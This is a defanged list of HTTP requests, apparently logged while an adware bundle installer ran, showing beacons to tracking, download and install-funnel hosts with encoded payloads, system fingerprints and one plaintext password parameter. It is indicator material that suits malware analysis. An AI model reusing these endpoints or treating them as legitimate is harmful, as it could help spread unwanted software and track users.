hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=EYAmqppYZO9UzMSzzHoKeclFIF2sauMT2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P4xEz6FfERdwJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSn9utsQSo1fcVWLfeo/B59z4BlKlGJcuDg 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=/Fcwh0Xd/M2fZNC1TqAoBNbs/RTuaadBTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPApvxZ8YpM5iHXpIMhPvgYNKFtm0XTWlrU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib9fTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhryl9vYV5K80Zgaau9xWXQx// 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31716.ashx?e=hNMAVKhukrzd/jwMCMorqixcBYBT1h/Gf23TWY4nwu1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxqAeEm9tHbqLok0rxKiBQAQYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG4wueQK7BlSysAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/23282.ashx?e=hNMAVKhukrzd/jwMCMorqixcBYBT1h/Gf23TWY4nwu1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxrBsRCx3KCfo8bXxmYTfpkFYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgXi8o/D3UbFG4wueQK7BlSysAA87lr5peQqPeikK78R8xbc 92iXckP2zoGJL1TUxzG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=ZfTZC8DxP8ZUzMSzzHoKeZnhoWWPiNC12YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P57HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9smoUR/DSN1Jzq8kbQMYE3PNCovy49GhxATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAiBE4y6i2IRaeKjtx u3K REomRG/B4qC/5uqu42/oMA9xta9wMsup2a/d4th3rZwfJKZ4NCKSCQ== 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=ZfTZC8DxP8ZUzMSzzHoKeZnhoWWPiNC12YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrpu3gu7HXmYGCQusjE2lu5McDok662BGy3mdYxkoa5P57HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9reVFPQewwTdqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJv19NF8iFPkx0iOaWqTBqFeebV9s/TXOLcauIrXLinhTKzmHP80WGvKSHXMlB3ZX1tpq73FZdDH/8= 54.197.238.106
hxxp://theswiftrecord.com/ii?alpha=ERdfLUUzNkkKLnlucAdKEFMMIEURS1MFSCQkSzwAQ0sVagAEZjwcckURU0lBHl4YLC9IJ2RtflkcDHFSEVwjKS1+EQMzQkVLSCwGNFQkAhY8SAQ8GEJDHBISangvb11mMHA5XUNiK1s2FyAxLwk/A1kKJGBgR14OexQNeFZmRjVwdXIRC3dOQktILQ5tEzdCQ00JWHkZBhYcBRAxCx8wVE4TS3scGykKTX9GAzFpSysMW3gnEX84LQcNDw93VhZDNXpmIGlCYk4lKF93UyleaRZKNFIHKEZAURZBQ2NkDzYdARlAfRUGZiICeFEKAHRCCRE9IWdFPnZsFwoBbjMMQhdgbmogS0xtUz5bWW5FL1RwHBlDAUl6BwYMDVdFZmkeOhtRH1BuUAQ6DAA7GUVCNRRbXhkkaE82PFpZWk1XMgsEWkZzajtASSEgBBoNfVN0AXcFSlcdB35ZClscAANqcF1zWBdEFWYRSWtfUS4TX0YtHk9zUHo5G2U0OUdSRQMHAkgBdjtnIEhDPDc+JDdZBjlIdBBKJ3g2AmgRRk5cIxo+DC0MC1ZlRgcVKQpLTUoXB25FERE5aFpiAkg/c1RSVWEnQQR6fmZpVUY8VRUVGiURe10kQjxbKyQ2PVw=
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429064921&SBPIDS=1 212.143.22.214
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=Feo0TQZfu6JPNjxRBLtb436NKt PVDaMt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTLHu3VbtnNNfW7fKPXFAvotNHatfm97UrXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDWPFvdFnQbsnAA5fsVkEwXwPPQmQ9wV0ecSC1j/7u2ZPAhhKDaeZjYceFfSuOsPNu9 inPTLZDtg= 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7161.ashx?e=aQQpsP6/AW1PNjxRBLtb4z5bXhDtFhrX/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lyArz49/3cS03f1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7161.ashx?e=aQQpsP6/AW1PNjxRBLtb4z5bXhDtFhrX/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lyArz49/3cS03f1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ufLDfF0ZTpL1kSjubNqPc5GyEyoZvq4OmB0RNQ 9BzBNqeRPeOqgjazACGY CgK6eqXaZH4mK3kqgSNqV7u8iR3AQSpIJXB7PVUl5TLe7HbDFz5K36yx5JFIty0tWc06ippSFGWqY/tJKkOqc/t3GkiGBNwta2nDUPW0PDhfKgeQxlp6/RhiFWFeKirbRJMxjw0XDVs8QXTQXKAbkOzE8t1GR88PfCMTMW4XjMZJAFqNrMFqx eqzAA0Ab8kjlrHUIsA9895POKuzvjcaXM2AbroBcEjtCTFLBfrHFyPplkNZ6 ltSbGnfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/30690.ashx?e=G4i9JF3YhSYsXAWAU9Yfxu1Z7P7QOfNrQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaD9qLzlG841ywOW6ArhtR GAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRo6r/K2kP8mmqCpADlbJX11rCPXfs0VGOutK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUspVYxztuFG7Zua0qaNRZzqVyeEjxCyoP0GbKHsMThLvzP8wrMbNKWJGXO0HAFwG1R7Qc7lJh uHebZZiKi64b1faQyCq7DrsmXNtOW7Zday9rCVSgOD pjAKNPoaDrBh6/v/Hm2KcpYHy1S9Ab35kZ/TvhUEvA3 3MoS/fu50NJ4btJZyNF/hC 3M747DWtv6RnRpXN4GqLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/30690.ashx?e=G4i9JF3YhSYsXAWAU9Yfxu1Z7P7QOfNrQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaD9qLzlG841ywOW6ArhtR GAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==
hxxp://theswiftrecord.com/if?alpha=ERdfLUV5WywpZSBmcAdKEFMMIEURS1MFSCQkSzwAQ0sVagAEZjwcckURU0lBHl4YLC9IJ2RtflkcDHFSEVwjKS1+EQMzQkVLSCwGNFQkAhY8SAQ8GEJDHBISangvb11mMHA5XUNiK1s2FyAxLwk/A1kKJGBgR14OexQNeFZmRjV4YHJ2RWQfHDIXcVQWTnUfJBRSHS9BEU9MXEFxP1BtWRZDHTtEWmpbRSkSUEMqEFtVDy5LUz48dlJFUVIuEUFUd3hlDVdCV05BS1coDmQVKUNZUg1cfhgRRV8OOTgqUAo6ARlAfwkEPlI8ck0BHGxXURFcfCRDOHU5WE5XWzNeaRtwb2w8Skt1UycSF3xPKlQ5RFczSQYqTERRUw4bNiVNEUkHAFZ5Ax00AUshA1NdKgpKB1p5KVI0c2leXkQeMQJHGTMnI34LHSccAxcYdkdgYncUGwpIAWwBYkxTFRAzaT4rCFMTQCJWGi1SXz1NVwMmXVtQHHUwEX0wLwUbTF98UxRIJi05ehMXMzFKSUkiFGgBaRwTXn0IIFpSBF4OGDl0KRE2aTcVbx8ZOFIvWHwrMj1ACQw8BX5AI2QzF2tsSSARQVJFdHE7UExtUyNbKltzFAddGgQIGy0pX15BX2kCEE16FGs=
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=emKxDesqhYcsXAWAU9YfxrOyhnbcvLwf 0R MP RL3UJOLXkS9L/h2bktPzt6FdqxfTT8yqkoA8mWSQRWp/qMkNxuHu0vCJ1PWfQa8x9cgckyeawv50oOJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gUJYmXsRYyUuOBh9NmQ0xfNaOxGiX/AiXz4BIAZdfMSn9utsQSo1fcWpgCwEJ5LvUYBlKlGJcuDg 54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=swiftrecord&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=2&index_in_screen=1&index_in_session=2&0.028429316928330894
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en 65.255.35.143
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=R4rdFlCMSnRUzMSzzHoKeRn22zHWoY/Q2YTeaOaZJPFysSIQM/WMqtGQDVZU32tJqokWMN8GCQ/ZKuiB0ryxZL6vs2JJATJ04VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjAvVZI1gyGAhENo9/0ma3IeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa5BQwiQopi7LzbANYrsS2gTtzAGhxGYFG 54.197.238.106
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/bnd 54.230.45.25
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=Ka qOJkckoVPNjxRBLtb40huZh9DXBQ4t8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDTLHu3VbtnNNfW7fKPXFAvotNHatfm97Uq6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFp4qO3H67cr5ESiZEb8HioL/m6q7jb gwD3G1r3Ayy6n8H3HAsWPGRB8kpng0IpIJ 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=yhrBLBbZM9VXzPC13FVNqqpNEI 1DWq5zO3UMNseiaEicvsFwQStENB87jgWTbK//EmjUQkbJhFKaeKuWhSeEFFEB58UdZ28yvVzXSY3rM8Yky2cjJGp8U1/8E9Ve0OlwOfiWy9NaE3BTG7HloA5mtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoFCWJl7EWMlLjgYfTZkNMXzWjsRol/wIl8 ASAGXXzEp/brbEEqNX3F0lvzdXBcxyGAZSpRiXLg4A== 54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=4e340ccb0deb9c3d83c2d62dba244260&tokyo_csrf2_timestamp=1429064895&slot_number=3&index_in_screen=1&index_in_session=3&0.5027052189276173
hxxp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hXeqmv1IpelezyBKiN6u MmULrK7uidv62ls PLHCLDT03ZwnpMmri4u 59fITlqgIuHhVdsQPLOGb/omYmI4seFfSuOsPNu51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxqk0Qj7UNark7RjcTQqXmcPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY50Fo0VHUKvToNI b/R1vzz Ju4GRmccrCXhClwiNX4uk= 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=M7A8vgjJHrgX0FFcLlqIhlTMxLPMegp5uQCvJzqHBQDZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihaK9hL93ata/0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl0ry31KNAk1YoAnTx32zhJvgkLrIxNpbuQ5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoNfTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrykB6FgH4ntItg== 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=M7A8vgjJHrjHEQ/kk/2L9ixcBYBT1h/GG2VsjeM5FD37RH4w/5EvdUqAWhGQi7pGk2HxL2Lh3QcOAfDk6wxi8lA85yq3z/G8hjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGhZcLy7QdYrKoJyBGq4ONxRzTc4tIltzeL45tr37K5DDG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lyiuy5/oVLbn9609pFHvExuwUbmkSx215/XH00p6LCl39lOUM6J79LgCK57HYRhYyEMEhKRjPtPBtbhVGyn6D NeEKXCI1fi6Q== 54.197.238.106
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCFTMxLPMegp5uQCvJzqHBQDZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihaK9hL93ata/0Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl0ry31KNAk1YoAnTx32zhJvgkLrIxNpbuQ5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoNfTRfIhT5MdIjmlqkwahXnm1fbP01zi3GriK1y4p4Uys5hz/NFhrykB6FgH4ntItg== 54.197.238.106
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,2 65.255.35.143
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7161.ashx?e=hNMAVKhukrzsUPBzNrhZoaIKKufJNjikoOZ8Vy4PwRADt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP/gk1eeAbkIBTqgRg0M9kCy5U1DKQBR/1HrjuYPfZlNCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvq0xtIwdKFg949BuL0n8vhTQE6ga EGy2YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/30690.ashx?e=xBG2NTmY QJUzMSzzHoKeexXPrn6sMnUjA5kVqVgWdAgLxC0aXqYrYyox39H7ctI9BcSbymqSLgpInXVh BhPfCwefCzEcdtXzilmHeLhjQAfzFzOb8vBLPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opWNKEGtOzYkhhE 4ldj4Gl9F9XRoFpwhAXAXh4LPUO ueIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa9/CpuCTIAF0=
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429064926
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429064926
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F 184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp 65.255.35.143
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds 65.255.35.143
hxxp://ipgeoapi.com/
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmKIKKufJNjik/AcH8PricLVP XtorcoTKl9JmdJZXAb1wbkcTiNWmo/wleHdxuxplOP02XJBghHECuY5KAgEuqJQDt2X2jDCEvXH00p6LCl39lOUM6J79LgCK57HYRhYyEMEhKRjPtPBtqueNuV5RRKM6rj1sArpGYEOz PgVj0Lt7G/yXPW4uAmOrZFPj41hpR1VsvE9COl4L8jm4XJmBVAfPJiocFViz8tbqmyb0fS 6lj4759r8RAB/YSDAGurDKp6WHHMklVdhH2ZrpRFByrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uA75YjrOJXrpTBXl5O1yvgpqzcXCJb OKoc4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYGSHO2tzSIBdFv9YN/fe8 u 54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_35&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429064926&procruntime=3&rnd=1429064929
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=E86457EF38FF4705BF13EF56E239A022PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=3&rnd=1429064929
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_29&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429064926&procruntime=3&rnd=1429064929
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=C0EA5540B56E4D938310A5778DF47D3FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEZ6dHNtdHljMCwwYTA3Yjg1Ni00YWZiLTRkMzgtYjBhMi0xYjMxN2I0NDUzYzksIiwidW5xIjoiMGEwN2I4NTYtNGFmYi00ZDM4LWIwYTItMWIzMTdiNDQ1M2M5In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429064926&procruntime=4&rnd=1429064930
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429064930
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429064930
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429064930
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429064931
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=ivSYnxWU6cjhuuY8t0g74kvCwL3GJiShhDSdjic6cuPYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBv4H8baHsOR69rCVSgOD piBkFOI09ScJ&product=EXTFirefox&rnd=1429064931&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rF9NPzKqSgDyZZJBFan oyQ3G4e7S8InVQeFTjHm2lTeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/0XtfJHuT6lKJUPTeLys5eJbSC5HD2R5Sxd2BbP3Hii1w0MU/DXWBP&product=EXTFirefox&rnd=1429064931&it=0&action=Init&text=Ext version: 1.0.0.4. Firefox version: 29.0.1. DB name: database1_0_0.json. DB version: 1.0.1.4 173.239.4.105
hxxp://www.google.com/
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hXeqmv1IpenVj9BNm3y5B3ZFr9sKl2h1/T7vGnIrRllP XtorcoTKgxB9pWV4xt1MyRsTHPDdAhxgnfs KRSGXtmD8Dkx2dtxTFIShqYYGTBXl5O1yvgpqzcXCJb OKoc4yKTdSya8wUNdG95mE1sb0kEBXXcjvsndo6KOXOaYEwQrDp9FTw2BfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1uOPXuF bXgYyuhanWjL2KRlvq8RedDljUuK5sKrcXforNiuWK4Z 32M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeOsdMRvnCZo1mDlNcv2CDURAyWZclVr5EGnOkOnlY13FvM/ a6Do0jS4AJYGjMA8T9AdcLl/v8gOtwcLG8Y2hsu 54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064933
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429064933&SBPIDS=1 212.143.22.214
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429064933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429064933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064933
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429064933
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=541526&mode=nolsp
